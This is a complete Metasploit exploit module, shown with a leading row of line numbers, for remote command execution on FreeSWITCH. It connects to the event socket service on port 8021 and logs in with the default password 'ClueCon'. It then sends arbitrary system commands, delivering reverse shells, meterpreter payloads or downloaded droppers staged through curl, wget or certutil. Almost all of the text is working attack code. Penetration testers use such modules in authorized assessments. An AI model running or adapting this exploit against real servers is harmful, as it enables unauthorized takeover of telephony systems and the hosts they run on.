1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name'=> 'FreeSWITCH Event Socket Command Execution', 'Description' => %q{ This module uses the FreeSWITCH event socket interface to execute system commands using the <code>system</code> API command. The event socket service is enabled by default and listens on TCP port 8021 on the local network interface. This module has been tested successfully on FreeSWITCH versions: 1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu 19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64). }, 'License' => MSF_LICENSE, 'Author'=> ['bcoles'], 'References'=> [ ['CWE', '260'], # default password, configurable in event_socket.conf.xml ['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket'] ], 'Platform'=> %w[win linux unix bsd], 'Arch'=> [ARCH_CMD, ARCH_X86, ARCH_X64], 'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"}, 'CmdStagerFlavor' => %w[curl wget certutil vbs], 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, 'Type' => :unix_memory ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, 'Type' => :linux_dropper ], ['PowerShell (In-Memory)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}, 'Type' => :psh_memory ], ['Windows (In-Memory)', 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'}, 'Type' => :win_memory ], ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}, 'Type' => :win_dropper ] ], 'Privileged'=> false, 'DefaultOptions'=> { 'RPORT' => 8021 }, 'DisclosureDate'=> '2019-11-03', 'DefaultTarget' => 0)) register_options [ OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon']) ] end def check connect banner = sock.get_once.to_s disconnect if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection') vprint_error 'Access denied by network ACL' return CheckCode::Safe end unless banner.include?('Content-Type: auth/request') return CheckCode::Safe end CheckCode::Appears end def auth(password) sock.put "auth #{password}\n\n" res = sock.get_once.to_s unless res.include? 'Content-Type: command/reply' fail_with Failure::UnexpectedReply, 'Unexpected reply' end unless res.include?('Reply-Text: +OK accepted') fail_with Failure::NoAccess, 'Login failed' end print_status 'Login success' end def execute_command(cmd, opts = {}) api_function = opts[:foreground] ? 'system' : 'bg_system' sock.put "api #{api_function} #{cmd}\n\n" res = sock.get_once.to_s unless res.include? 'Content-Type: api/response' fail_with Failure::UnexpectedReply, 'Unexpected reply' end vprint_status "Response: #{res}" end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end connect banner = sock.get_once.to_s auth(datastore['PASSWORD']) print_status "Sending payload (#{payload.encoded.length} bytes) ..." case target['Type'] when :unix_memory if datastore['PAYLOAD'] == 'cmd/unix/generic' execute_command(payload.encoded, foreground: true) else execute_command(payload.encoded) end when :win_memory if datastore['PAYLOAD'] == 'cmd/windows/generic' execute_command(payload.encoded, foreground: true) else execute_command(payload.encoded) end when :psh_memory execute_command( cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) ) when :linux_dropper execute_cmdstager(:linemax => 1_500) when :win_dropper execute_cmdstager(:linemax => 1_500) end ensure disconnect unless sock.nil? end end |